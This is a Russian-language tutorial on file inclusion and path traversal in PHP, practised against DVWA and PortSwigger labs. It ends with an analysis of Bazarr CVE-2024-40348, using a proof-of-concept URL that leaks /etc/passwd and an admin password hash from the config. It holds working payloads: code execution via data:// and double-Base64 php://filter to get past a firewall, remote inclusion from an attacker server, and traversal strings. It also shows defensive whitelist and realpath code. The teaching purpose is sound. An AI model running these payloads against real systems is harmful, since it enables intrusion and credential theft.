File Inclusion
и Path Traversal
Разбираем две базовые веб-уязвимости
info
Эта статья ориентирована в первую очередь на новичков и рассказывает о двух простейших уязвимостях. Если этот уровень для тебя слишком легкий, не спеши уходить — пролистай до разбора бага в Bazarr в конце статьи.
Включение файлов (File Inclusion)
Включение файлов (File Inclusion) — это тип уязвимости, который возникает, когда веб‑приложение позволяет пользователю загружать и исполнять файлы. Такие уязвимости особенно опасны, так как дают злоумышленнику возможность выполнить произвольный код на сервере.
Под включением файлов обычно подразумевают подключение внешних библиотек или модулей (на английском эта директива обычно называется include — «включать»). В разных языках программирования этот механизм реализован немного по‑разному. В этой статье мы будем рассматривать в основном примеры на PHP, поэтому давай подробно разберем реализацию в этом языке.
Вот что делает интерпретатор PHP, когда находит директиву include
:
-
Ищет файл в файловой системе: либо указанный файл должен найтись в том же каталоге, что и основная программа, либо каталог с подключаемым модулем должен быть перечислен в переменной окружения
PATH
. - Читает файл: PHP считывает содержимое файла. Обычно это HTML, CSS, JavaScript или код на PHP.
- Включение: PHP берет содержимое файла и буквально помещает его в текущий скрипт прямо в том месте, где находится оператор включения.
- Выполнение кода: как только код из включенного файла будет помещен на место, PHP продолжит обработку сценария, как если бы весь этот код был изначально в том же файле.
Типы включения файлов
Локальное включение файлов (Local File Inclusion, LFI) происходит, когда приложение загружает файлы с сервера, при этом в процессе выбора файла используются данные, которые ввел пользователь.
Эту уязвимость можно использовать для доступа к конфиденциальной информации — например, можно запросить файл с настройками или с паролями. А еще таким образом можно запустить размещенный на сервере скрипт.
Давай разберем простейший пример:
<?php$file = $_GET['file'];include($file);?>
Здесь злоумышленник может передать в параметре file
путь к любому файлу на сервере, например:
http://xakep.loc/index.php?file=/etc/passwd
Это приведет к включению содержимого файла /
в ответ, который отобразится в браузере.
Дальше для демонстрации уязвимости я буду использовать DVWA — «чертовски уязвимое веб‑приложение». Это написанный на PHP тренировочный стенд с разными видами уязвимостей. Скачиваем его:
sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)"
DVWA Level Low
Сперва нам нужно выбрать уровень, для этого заходим в DVWA Security, выбираем там Low и нажимаем Submit. Затем нажимаем File Inclusion.

Наверху перечислены файлы: file1.
, file2.
, file3.
. Если кликнуть на какой‑то из них, он откроется, и адрес страницы будет таким: {
.

Если нажать на кнопку View Source внизу справа, то откроется исходный код приложения.

Почему здесь нет include
? Исходник, который мы видим, принимает имя файла через URL, и в коде приложения оно добавляется как параметр для include
, выглядит это так:
file: vulnerabilities/fi/index.php:if( isset( $file ) ) include( $file );else { header( 'Location:?page=include.php' ); exit;}
Уязвимость здесь в том, что в качестве имени файла без всякой проверки берется переданный браузером параметр. Мы можем вписать в page
название другого файла на сервере и таким образом посмотреть его содержимое.
http://xakep.loc/DVWA/vulnerabilities/fi/?page=/etc/passwd

Правда, в реальной жизни дело почти никогда не в чтении /
— файла со списком пользователей ОС на веб‑сервере. Чаще всего развитием атаки становится либо RCE (удаленное выполнение кода на сервере), либо получение других чувствительных данных, хранящихся на сервере. Это могут быть бэкапы, конфиги и прочее. Например, в DVWA есть файл database/
с данными пользователей.

Как узнать, где какие файлы? Как получить RCE?
Большую помощь нам окажут фильтры PHP. В этом языке так называются обработчики потоков данных. Они позволяют читать, записывать и преобразовывать информацию.
Обертки потоков (wrappers) — это набор протоколов, которые PHP использует для обработки данных из разных источников и хранилищ. Эти обертки определяют, как данные будут доступны и как с ними взаимодействовать. Примеры оберток:
-
file://
— дает доступ к файлам на локальной файловой системе;: -
data://
— позволяет PHP обрабатывать данные, закодированные непосредственно в URL. Поддерживает несколько схем:: -
data://
— позволяет включать данные в текстовом формате;text/ plain -
data://
— позволяет включать данные изображения в формате Base64;image/ png; base64
-
-
php://
— дает доступ к внутренним потокам PHP. Имеет несколько схем, но нас интересует только одна:: -
php://
— позволяет применять фильтры к потоку данных. Фильтры могут использоваться для преобразования данных по мере их чтения или записи для кодирования, декодирования, сжатия или распаковки.filter
-
Популярные фильтры:
-
convert.
— кодирует данные в Base64;base64-encode -
convert.
— декодирует данные, закодированные в Base64;base64-decode -
string.
— применяет к данным кодировку ROT13.rot13
После фильтра должен быть указан resource
— источник, к которому будет применяться действие.
Вот для примера самый простой фильтр:
http://xakep.loc/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
Здесь в параметре page
указано file:///
, что заставляет сервер обрабатывать значение как абсолютный путь к файлу на локальной файловой системе.

Перейдем к более интересному фильтру — data:/
. Внутри него мы можем написать код, который будет исполнен. Давай напишем однострочник, показывающий вывод функции phpinfo
. Это поможет узнать настройки интерпретатора PHP, который работает на сервере.
Можем отправить вот такой запрос:
http://xakep.loc/DVWA/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo(); ?>

В ответ мы должны получить результат выполнения кода на PHP — как на скриншоте.
Через эту уязвимость можно легко выполнять и другие команды на сервере. Например:
http://xakep.loc/DVWA/vulnerabilities/fi/?page=data:text/plain,%3C?php%20system(%27id%27);%20?%3E

Мы выполняем команду <
, которая выведет нам информацию о пользователе.
info
Здесь используется URL-кодирование: все специальные символы записаны как коды после знака процента. В нашем примере %20
— это пробел, %27
— одинарная кавычка, а %3C
и %3E
— открывающая и закрывающая треугольные скобки.
Ты спросишь: если все так прекрасно работает, зачем нам еще какой‑то php://
? Есть две основные причины его использовать:
- Схема
data://
может быть отключена на сервере.: - Если на сервере используется веб‑файрвол, то он заблокирует наш запрос, потому что строка
exec/
будет у него в черном списке.phpinfo
Причем опасные строки могут быть в блеклисте не только в открытом виде, но и в закодированном, например в Base64. В таком случае мы можем схитрить и закодировать нашу нагрузку несколько раз подряд. Какой‑нибудь вариант да поможет обойти проверку.
Получается вот такая цепочка.
Исходная строка:
<?php phpinfo(); ?>
Кодируем ее в Base64:
PD9waHAgcGhwaW5mbygpOyA/Pg==
А потом кодируем в Base64 еще раз:
UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==
Вот в таком виде нагрузка уже обходит фильтрацию:
data://plain/text,UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==
Нам осталось ее дважды декодировать перед запуском. Для этого используем функцию convert.
. Получается такой пейлоад:
php://filter/convert.base64-decode/convert.base64-decode/resource=data://plain/text,UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==
Возьмем такой запрос:
http://xakep.loc/DVWA/vulnerabilities/fi/?page=php://filter/convert.base64-decode/convert.base64-decode/resource=data://plain/text,UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==
Отправив его, видим результат выполнения нашей команды.

Главное здесь — понимать разобранные нами возможности самой функции include
в PHP. Если же ты можешь загрузить PHP-файл на сервер, то фильтры уже не понадобятся — можно будет напрямую указать этот файл и выполнить его.
Удаленное включение файлов (Remote File Inclusion, RFI)
Удаленное включение файлов отличается от LFI тем, что позволяет загружать файлы с удаленных серверов. Это особенно опасно, так как злоумышленник может загрузить и исполнить произвольный код, находящийся на другом сервере.
Снова рассмотрим простейший код на PHP, где происходит включение файла в код.
<?php$file = $_GET['file'];include($file);?>
Предположим, ссылка на файл передается через URL, тогда злоумышленник может менять этот URL, как ему вздумается. Например, передать адрес, указывающий на подконтрольный ему ресурс:
http://xakep.loc/index.php?file=http://attacker.loc/pwn.php
В этом случае будет загружен и выполнен вредоносный код с сервера злоумышленника. Пользоваться такой уязвимостью куда проще, чем LFI.
Создаем файл с кодом на PHP.
$
$
$
$
Serving
Отправляем запрос к нашему удаленному файлу:
http://xakep.loc/DVWA/vulnerabilities/fi/?page=http://server.loc:1337/code.php

DVWA взял наш код и включил его! Одновременно мы можем увидеть, как на наш сервер пришел запрос.
127.0.0.1 - - [25/Aug/2024 12:42:10] "GET /code.php HTTP/1.1" 200 -
Если RFI по какой‑то причине не срабатывает, можно попробовать простой метод обхода: например, вместо http
написать htTp
.
Уязвимости, связанные с символом null byte (PHP 5)
До выхода PHP версии 5.3.4 символ null byte (%00
) можно было использовать для обхода фильтрации путей. Нулевой байт во многих языках добавляется в конец строки, чтобы при ее чтении из памяти программа знала, где остановиться. Это позволяло злоумышленнику обрывать строку искусственно.
Разберем такой код:
<?php$file = $_GET['file'] . ".php";include($file);?>
Здесь к присланной строке добавляется расширение .php. Это мешало бы нам запросить файл /
, поскольку у него такого расширения нет. Но если добавить в строку нулевой байт, то интерпретатор PHP не будет читать ее дальше: для него строка теперь заканчивается там, где мы поставили %00
.
Для знакомства с этой уязвимостью я рекомендую лабораторную работу File path traversal, validation of file extension with null byte bypass с сайта PortSwigger.
Вообще, когда нужно попентестить какой‑то сервис, независимо от типа пентеста (black box, white box, grey box) я горячо рекомендую первым делом прикинуть, какие вообще возможны уязвимости. Видишь запрос продукта по ID? Возможно, тут есть SQLi, XSS или SSTI. Видишь параметр, который принимает файлы? Тогда целимся в File Inclusion, Path Traversal, SQLi, XSS и RCE.
Не забываем о том, что все запросы наверняка логируются и логи еще сильнее расширяют поверхность атаки, так как это еще один способ передать что‑то, что будет сохранено на сервере.
Итак, в лабораторной работе нам дано приложение, где мы можем нажать на одну из фотографий. После этого будет сделан запрос на такой адрес:
https://0ad50027046d1ebc814175a3006800c9.web-security-academy.net/image?filename=58.jpg
Здесь
- путь —
image
; - параметр —
filename
; - имя файла — цифры;
- расширение файла —
.
(фотка).jpg
Тут у тебя в голове уже должны всплывать идеи о том, как это эксплуатировать и какие будут пейлоады. Например:
-
/
;etc/ passwd -
../../../../../../
.etc/ passwd
Вполне возможно, что сервис ожидает файлы с расширением, характерным для картинок. В таком случае можно попробовать такие варианты:
-
/
;etc/ passwd%00. jpg -
../../../../../../
.etc/ passwd%00. jpg
Последний пейлоад сработает, и мы сможем увидеть содержимое /
со списком пользователей. Если ты еще не знаешь, что это за странная последовательность из точек и слешей, то читай дальше — как раз ее мы с тобой сейчас разберем.
Обход путей (Path Traversal)
Обход путей (Path Traversal) — это уязвимость, которая возникает, когда пользователь может манипулировать путем к файлу и выходить за пределы каталога приложения. Это позволяет получить доступ к системным файлам.
Возьмем для примера простейший код:
<?php$filename = $_GET['filename'];$file = fopen('/var/www/html/uploads/' . $filename, 'r');?>
Злоумышленник может передать параметр filename=../../../../
, чтобы получить доступ к файлу /
. Последовательность ..
означает переход на один уровень вверх в структуре каталогов. Четыре последовательных ..
переходят от /
к корню файловой системы, после чего пишем обычный путь к файлу.
В чистом виде такая уязвимость встречается все реже: в современных веб‑приложениях обычно все же есть защита от этого. Но, угадав, как такая защита устроена, мы можем попробовать ее обойти.
Вот несколько техник, которые используются для борьбы с Path Traversal, и сразу — идеи для противодействия им.
- Приложение ищет в адресе последовательности символов
..
и удаляет их. Тогда просто возьмем и поставим побольше точек и слешей. Так, чтобы после удаления как раз получился нормальный путь:/ -
/
— абсолютный путь.etc/ passwd -
../../../
— обычный Path Traversal.etc/ passwd -
....//....//....//
— вариант с удвоением, который мы передаем. После единоразового удаленияetc/ passwd ..
третья строка превратится во вторую, то есть как раз то, что нам нужно./
-
- Приложение может разрешать только пути, в которых есть какая‑то заранее известная часть. Например,
/
— каталог, где размещен веб‑сервер. В таком случае нам нужно будет начать путь с него, а дальше выйти в корень файловой системы:var/ www/ html /
var/ www/ html/../../../ etc/ passwd - Приложение читает только файлы с определенным расширением. До версии 5.3.4 в этом случае помогал нулевой байт. Как это работает, мы уже рассмотрели выше.
Давай посмотрим, как работают эти нагрузки, на примере еще одной лабы с PortSwigger: File path traversal, traversal sequences stripped non-recursively.
Я рекомендую поэкспериментировать с ней самостоятельно, но, если вдруг возникнут сложности, можешь подсмотреть решение в тексте ниже.
Я буду перебирать строчки из файла payloads.
со списком пейлоадов и делать для каждой запросы при помощи curl:
$ cat payloads.txt | xargs -I{} sh -c 'echo "\n{}\n" && curl "https://xakep.web-security-academy.net/image?filename={}"'
Вот как будет выглядеть результат:
/
"No such file"
../../../../../../
"No such file"
/
"No such file"
....//....//....//
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
/
"No such file"
В результате пейлоад ....//....//....//
успешно сработал.
Защита от уязвимостей
Итак, Path Traversal позволяет манипулировать путями, чтобы получить доступ к файлам вне разрешенной директории (читает файл), а File Inclusion позволяет включать и выполнять произвольные файлы на сервере (читает и выполняет).
Давай взглянем на проблему глазами разработчиков веб‑приложений и разберем две самые распространенные формы защиты от этих уязвимостей.
Валидация и фильтрация пользовательских данных
Если у нас есть список разрешенных файлов, то можем каждый раз при запросе страницы пробегаться по нему и проверять, соответствует ли параметр одному из вариантов.
<?php
$allowed_files = ['file1.php', 'file2.php'];if (in_array($_GET['file'], $allowed_files)) { include($_GET['file']);} else { die('Доступ запрещен');}?>
По сути, это просто белый список — крайне распространенный метод защиты.
Использование функции realpath
Функция realpath
возвращает канонический путь, убирая из него последовательности ..
. Это позволяет предотвратить обход путей:
<?php$path = realpath('/var/www/html/uploads/' . $_GET['filename']);if (strpos($path, '/var/www/html/uploads/') === 0) { $file = fopen($path, 'r');} else { die('Недопустимый путь');}?>
Bazarr
От теории и простейших примеров переходим к реальной уязвимости, в которой используются разобранные нами техники. Если выше ты читал о новых для себя вещах, то, возможно, скачок в сложности будет немного слишком крутым, к тому же код будет не на PHP, а на Python.
Тем не менее полезно иногда посмотреть, как баги, о которых мы говорили, выглядят «в природе» и в современных условиях. Если будет много непонятного — не переживай, эта секция для тебя опциональная.
Неизвестный баг
Недавно я решил создать сервис для сортировки CVE и случайно напал на уязвимость, которая какое‑то время оставалась неизвестной из‑за того, что багхантер неправильно написал название продукта. Программа предназначена для скачивания субтитров и называется Bazarr, а в базу данных CVE уязвимость записали, указав Bazaar. Получается, что это редчайший случай бага нулевого дня, для которого есть CVE.
Анализ без установки
Вот как выглядит эксплуатация бага CVE-2024-40348 в Bazarr:
http://xakep.loc:6767/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd
При виде этой ссылки у меня, естественно, возник вопрос, почему путь начинается именно с api/
. И тогда я наткнулся на CVE-2023-50265. Из описания выясняется, что продукт был уязвим к Path Traversal, затем уязвимость пофиксили, но после фикса он все равно остался уязвимым.
Наше дело — найти, в чем именно была ошибка. Для этого обычно достаточно прочитать код, но мы все равно поднимем стенд, чтобы сразу потестировать работу бага.
Поднимаем Bazarr
Инструкция по установке программы есть в вики проекта. У меня Bazarr установлен на сервере, а VSCode — на рабочем компьютере. Поэтому нам понадобится подключить отладчик удаленно.
Устанавливаем отладчик:
pip3 install ptvsd
Открываем /
, после импортов добавляем такой код:
import ptvsd
ptvsd.enable_attach(redirect_output=True)print("Велком, плиз коннект зе отладчик")ptvsd.wait_for_attach()
Теперь на компьютере, где установлен VSCode, выполняем такую команду (192.168.0.1 — IP сервера, где установлен Bazarr):
rsync -azP root@192.168.0.1:/opt/bazarr /home/debian
Команда скачивает содержимое /
в /
.
Отладка
Нам нужно открыть папку, в которую мы все скачали. В VSCode жмем File → Open Folder и указываем /
.
Выбираем Python как дебаггер.

Выбираем Remote Attach.

Пишем IP.

Порт по дефолту — 5678.

В создавшемся файле ищем remoteRoot
и указываем директорию bazarr
на нашем сервере.

Нажимаем зеленую кнопку «Старт» вверху слева.

Анализ CVE-2024-40348
У нас есть патч для уязвимости CVE-2023-50265, так что мы знаем, где она в коде. Но давай представим, что таких данных у нас нет и мы должны разобраться сами. PoC будет такой:
http://xakep.loc:6767/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd
Самое простое, что мы можем сделать, — это поискать api/
.

В итоге уязвимости сами нас нашли через отладчик. Давай начнем с проверки функции swaggerui_static
:
@ui_bp.route('/api/swaggerui/static/<path:filename>', methods=['GET'])def swaggerui_static(filename): basepath = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx', 'static') fullpath = os.path.join(basepath, filename) if not fullpath.startswith(basepath): return '', 404 else: return send_file(fullpath)
Вот что происходит в этой функции:
-
@ui_bp.
— декоратор Flask, который связывает URLroute /
с функциейapi/ swaggerui/ static/< path: filename> swaggerui_static
. Когда клиент отправляет GET-запрос на этот адрес, Flask вызывает соответствующую функцию. -
<
— это переменная в URL, которая позволяет передавать путь к нужному файлу.path: filename> - Функция
swaggerui_static
принимает один аргумент —filename
. Это имя файла, который клиент хочет получить. -
basepath
— эта строка формирует базовый путь к каталогу, где хранятся статические файлы Swagger UI. Она поднимается на два уровня вверх от текущего файла= os. path. join.. . (
(из__file__) /
вopt/ bazarr/ bazarr/ app/ ui. py /
), а затем добавляет к пути директорииopt/ bazarr libs/
(flask_restx/ static /
).opt/ bazarr/ libs/ flask_restx/ static -
os.
— возвращает директорию, в которой находится текущий файл.path. dirname( __file__) -
os.
— поднимается на один уровень вверх.path. dirname( os. path. dirname( __file__) ) -
os.
— поднимается еще на один уровень вверх.path. dirname( os. path. dirname( os. path. dirname( __file__)) )
Разбираем дальше по одной строке.
fullpath = os.path.join(basepath, filename):
Здесь создается полный путь к запрашиваемому файлу: объединяется базовый путь и переданное имя файла filename
.
if not fullpath.startswith(basepath)::
Тут программа проверяет, начинается ли полный путь fullpath
с базового пути basepath
. Это важно для предотвращения атаки путем выхода из каталога (Path Traversal). Но тут возникает проблема. Представь, что пользователь запросил вот такой путь:
../../../../../../../etc/passwd
Тогда fullpath будет таким:
/opt/bazarr/libs/flask_restx/static/../../../../../../../etc/passwd
А basepath — таким:
/opt/bazarr/libs/flask_restx/static
Поскольку fullpath
и так начинается с basepath
, это даст возможность эксплуатировать уязвимость.
return '', 404:
Если файл находится за пределами разрешенной директории, функция возвращает HTTP-ответ с кодом 404 (не найдено) и пустым телом. Но поскольку файл и так начинается с /
, эта часть будет просто проигнорирована.
else: \n return send_file(fullpath):
Функция возвращает файл по пути fullpath
клиенту, используя функцию send_file
из Flask.
Давай попробуем прочитать какой‑нибудь файл, воспользовавшись этой уязвимостью. Сперва нам нужно поставить точку останова.

После переходим в Burp Suite и отправляем запрос по такому адресу:
/api/swaggerui/static/../../../../../../../etc/passwd


Как видишь, fullpath
начинается с basepath
, из‑за этого вместо 404 сработал send_file
. Нажимаем кнопку «Старт» в VSCode и убираем точку останова.
Что интересного можно прочесть?
Чаще всего цель — это приватный ключ SSH. Но в нашем случае я бы предпочел чекнуть конфиги приложения:
$
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
./
$
---
addic7ed:
cookies: ''
password: ''
user_agent: ''
username: ''
vip: false
analytics:
enabled: true
anidb:
api_client: ''
api_client_ver: 1
animetosho:
anidb_api_client: ''
anidb_api_client_ver: 1
search_threshold: 6
anticaptcha:
anti_captcha_key: ''
assrt:
token: ''
auth:
apikey: 54df08bfef4e16efa74950bd8a511f15
password: 21232f297a57a5a743894a0e4a801fc3
type: form
username: admin
Среди настроек нашелся хеш пароля админа. Получается, что мы через LFI получили доступ к админке. Это и есть 0-day-уязвимость, о которой разработчик не знает и не узнает, пока ему кто‑нибудь не напишет.
Функция backup_download
была исправлена в патче. Давай посмотрим, как именно.
@ui_bp.route('/system/backup/download/<path:filename>', methods=['GET'])def backup_download(filename): fullpath = os.path.normpath(os.path.join(settings.backup.folder, filename)) if not fullpath.startswith(settings.backup.folder): return '', 404 else: return send_file(fullpath, max_age=0, as_attachment=True)
Здесь вызывается normpath
— функция, которая нормализует путь. Нормализация значит, что он будет упрощен и все избыточные, но дорогие нам хождения по каталогам исчезнут.
Вот как это работает:
import ospath = "/home/user/../user2/./file.txt"normalized_path = os.path.normpath(path)print(normalized_path)# Вывод: /home/user2/file.txt
В этом примере normpath
преобразует путь /
в /
. Избыточные элементы исчезнут.
Несмотря на «защиту», проблема все еще есть, так как злоумышленник может перебирать имя файла бэкапа.
bazarr_backup_v1.
Перебирать нужно 2024.
.
В худшем случае понадобится от 2 (бэкап раз в месяц) до 31 (бэкап раз в год) миллиона запросов.
Выводы
В этой статье я показал основные типы LFI и Path Traversal и их примеры в коде на PHP. Затем мы посмотрели, как избегать таких уязвимостей, а в конце разобрали интересный баг CVE-2024-40348 в реальной программе на Python. Как видишь, баги иногда сохраняются даже после исправлений, если код не подвергся тщательному тестированию.